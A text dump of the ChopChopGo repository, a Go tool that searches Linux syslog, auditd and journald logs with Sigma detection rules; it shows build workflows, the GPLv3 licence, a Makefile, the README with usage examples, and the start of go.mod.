Repository: M00NLIG7/ChopChopGo
Branch: master
Commit: e91de9a07c18
Files: 30
Total size: 135.9 KB
Directory structure:
gitextract_sc9sdfle/
├── .github/
│ └── workflows/
│ ├── ci.yml
│ └── release.yml
├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── TODO.md
├── go.mod
├── go.sum
├── main.go
├── mappings/
│ ├── auditd.yml
│ ├── journald.yml
│ └── syslog.yml
├── maps/
│ ├── auditd/
│ │ ├── auditd.go
│ │ └── auditd_test.go
│ ├── journald/
│ │ ├── journald.go
│ │ ├── journald_test.go
│ │ └── stub.go
│ ├── mapping/
│ │ ├── mapping.go
│ │ └── mapping_test.go
│ ├── output/
│ │ ├── output.go
│ │ └── output_test.go
│ └── syslog/
│ ├── syslog.go
│ └── syslog_test.go
├── scripts/
│ ├── generate_test_logs.sh
│ └── genlog/
│ └── main.go
├── testdata/
│ ├── auditd.log
│ ├── rsyslog.log
│ └── syslog.log
└── update-rules.sh
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/workflows/ci.yml
================================================
name: CI
on:
push:
branches: [master]
pull_request:
branches: [master]
jobs:
test:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version-file: go.mod
- name: Install libsystemd-dev
run: sudo apt-get update && sudo apt-get install -y libsystemd-dev
- name: Vet
run: go vet ./...
- name: Test
run: go test ./...
================================================
FILE: .github/workflows/release.yml
================================================
name: Release
on:
push:
tags:
- 'v*'
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: write
strategy:
matrix:
include:
- arch: amd64
goarch: amd64
- arch: arm64
goarch: arm64
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version-file: go.mod
- name: Install libsystemd-dev
run: sudo apt-get update && sudo apt-get install -y libsystemd-dev gcc-aarch64-linux-gnu
- name: Build
env:
GOARCH: ${{ matrix.goarch }}
CC: ${{ matrix.goarch == 'arm64' && 'aarch64-linux-gnu-gcc' || 'gcc' }}
CGO_ENABLED: 1
run: go build -o ChopChopGo .
- name: Fetch Sigma rules
run: |
git clone --depth=1 https://github.com/SigmaHQ/sigma.git
rm -rf rules/
mkdir rules/
mv sigma/rules/linux/ rules/
rm -rf sigma/
- name: Create release archive
run: |
TAG=${GITHUB_REF_NAME}
zip -r "ChopChopGo-${TAG}-linux-${{ matrix.arch }}.zip" ChopChopGo rules/ mappings/ README.md update-rules.sh
- name: Upload to release
env:
GH_TOKEN: ${{ github.token }}
run: |
TAG=${GITHUB_REF_NAME}
# Create the release if it doesn't already exist (e.g. manually pre-created),
# then upload the artifact. --clobber replaces any existing asset with the same name.
gh release create "${TAG}" --title "${TAG}" --generate-notes 2>/dev/null || true
gh release upload "${TAG}" "ChopChopGo-${TAG}-linux-${{ matrix.arch }}.zip" --clobber
================================================
FILE: .gitignore
================================================
# Sigma rules (fetched via update-rules.sh, not tracked in repo)
rules/
# Build output
ChopChopGo
ChopChopGo.exe
scripts/genlog/genlog
# Go toolchain
vendor/
# Test and profiling artifacts
*.test
coverage.out
*.prof
*.out
# Generated test logs (transient, regenerate with scripts/genlog)
testdata/generated_*.log
# macOS
.DS_Store
# Editor
.vscode/
.idea/
*.swp
*.swo
================================================
FILE: LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: Makefile
================================================
all: init generate
init:
@echo "Making ChopChopGo..."
#add special compiler options beyond -w later,
#maybe use a packer or some sort.
generate:
go build -ldflags "-w" .
clean:
@echo "done."
update-rules:
./update-rules.sh
windows:
GOOS=windows GOARCH=amd64 go build -ldflags "-w" .
================================================
FILE: README.md
================================================
[](https://goreportcard.com/report/github.com/M00NLIG7/ChopChopGo)
Rapidly Search and Hunt through Linux Forensics Artifacts
---
ChopChopGo inspired by Chainsaw utilizes Sigma rules for forensics artifact recovery, enabling rapid and comprehensive analysis of logs and other artifacts to identify potential security incidents and threats on Linux.
## Features
- :dart: Hunt for threats using [Sigma](https://github.com/SigmaHQ/sigma) detection rules and custom ChopChopGo detection rules
- :zap: Lightning fast, written in go
- :feather: Clean and lightweight execution and output formats without unnecessary bloat
- :computer: Runs on Linux
---
```
$ ./ChopChopGo -target syslog -rules ./rules/linux/builtin/syslog/
▄████▄ ██░ ██ ▒█████ ██▓███ ▄████▄ ██░ ██ ▒█████ ██▓███ ▄████ ▒█████
▒██▀ ▀█ ▓██░ ██▒▒██▒ ██▒▓██░ ██▒ ▒██▀ ▀█ ▓██░ ██▒▒██▒ ██▒▓██░ ██▒ ██▒ ▀█▒▒██▒ ██▒
▒▓█ ▄ ▒██▀▀██░▒██░ ██▒▓██░ ██▓▒ ▒▓█ ▄ ▒██▀▀██░▒██░ ██▒▓██░ ██▓▒ ▒██░▄▄▄░▒██░ ██▒
▒▓▓▄ ▄██▒░▓█ ░██ ▒██ ██░▒██▄█▓▒ ▒ ▒▓▓▄ ▄██▒░▓█ ░██ ▒██ ██░▒██▄█▓▒ ▒ ░▓█ ██▓▒██ ██░
▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░ ░ ▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░ ░ ░▒▓███▀▒░ ████▓▒░
░ ░▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░ ░ ░ ░▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░ ░ ░▒ ▒ ░ ▒░▒░▒░
░ ▒ ▒ ░▒░ ░ ░ ▒ ▒░ ░▒ ░ ░ ▒ ▒ ░▒░ ░ ░ ▒ ▒░ ░▒ ░ ░ ░ ░ ▒ ▒░
░ ░ ░░ ░░ ░ ░ ▒ ░░ ░ ░ ░░ ░░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░ ░ ▒
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░
By Keyboard Cowboys (M00NL1G7)
Using syslog file: /var/log/messages
100% |██████████████████████████████████████████████████████████████████████████████████████████████| (67504/67504, 27840 it/s)
+-----------------+--------------------------------+-----------------------------------------+
| TIMESTAMP | MESSAGE | TAGS |
+-----------------+--------------------------------+-----------------------------------------+
| Mar 2 20:04:38 | fedora systemd[1]: | attack.defense_evasion-attack.t1562.004 |
| | iptables.service: Deactivated | |
| | successfully. | |
| Mar 4 10:19:03 | DESKTOP-RNL1DBO systemd[1]: | attack.defense_evasion-attack.t1562.004 |
| | iptables.service: Deactivated | |
| | successfully. | |
+-----------------+--------------------------------+-----------------------------------------+
Processed 67504 syslog events
```
## Quick Start Guide
### Downloading and Running
For an all-in-one zip container the ChopChopGo binary, and the official sigma rules to go with it, check out the [releases section](https://github.com/M00NLIG7/ChopChopGo/releases) In this releases section you will also find pre-compiled binary-only versions of ChopChopGo.
If you want to compile ChopChopGo yourself, you can clone the ChopChopGo repo:
`git clone https://github.com/M00NLIG7/ChopChopGo.git`
and compile the code yourself by running: `go build`.
You might need to install the development files for systemd (e. g. `apt-get install libsystemd-dev`)
#### Command Examples
```bash
# Defaults to searching through syslog
./ChopChopGo
# Scan an auditd log with the official sigma rules
./ChopChopGo -target auditd -rules ./rules/linux/auditd/ -file /opt/evidence/auditd.log
# Scan journald with specified rules
./ChopChopGo -target journald -rules ./rules/linux/builtin/
# Use a custom field-mapping file
./ChopChopGo -target auditd -rules ./rules/linux/auditd/ -mapping ./my-mappings/auditd.yml
```
#### Alternative Output Formats
You may wish to use ChopChopGo in an automated fashion. The CSV and JSON output options are useful for this purpose. With both of these options, the header and progress statistics are not printed to the console.
The alternative output format is written to stdout - you can process it from there (e. g. write it to a file for later use).
Each option can be specified using the `-out` parameter.
##### CSV
```bash
./ChopChopGo -target syslog -rules ./rules/linux/builtin/syslog/ -out csv
```
##### JSON
```bash
./ChopChopGo -target syslog -rules ./rules/linux/builtin/syslog/ -out json
```
### Field Mapping
ChopChopGo translates Sigma rule field names to log-native field names via YAML mapping files in `mappings/`:
```
mappings/
auditd.yml # CommandLine→exe, Image→exe, ProcessId→pid, User→auid …
syslog.yml # Message→message, Hostname→facility …
journald.yml # Message→message, Timestamp→timestamp …
```
These are loaded automatically based on the `-target`. If a mapping file is absent the tool falls back to pass-through (field names used verbatim), so existing behaviour is unchanged.
To supply your own mapping file — for example to run community rules written for a different schema — use the `-mapping` flag:
```bash
./ChopChopGo -target auditd -rules ./rules/ -mapping ./mappings/custom-auditd.yml
```
A mapping file looks like this:
```yaml
source: auditd
fields:
CommandLine: exe # Sigma field → auditd native field
Image: exe
ProcessId: pid
User: auid
```
### Updating Sigma Rules
The repository includes a simple script to update the included sigma rules to the newest state from the [Sigma Rules repo](https://github.com/SigmaHQ/sigma/).
```bash
./update-rules.sh
```
================================================
FILE: TODO.md
================================================
# TODO
Author: M00NLIG7
---
No open items.
================================================
FILE: go.mod
================================================
module github.com/M00NLIG7/ChopChopGo
go 1.18
require (
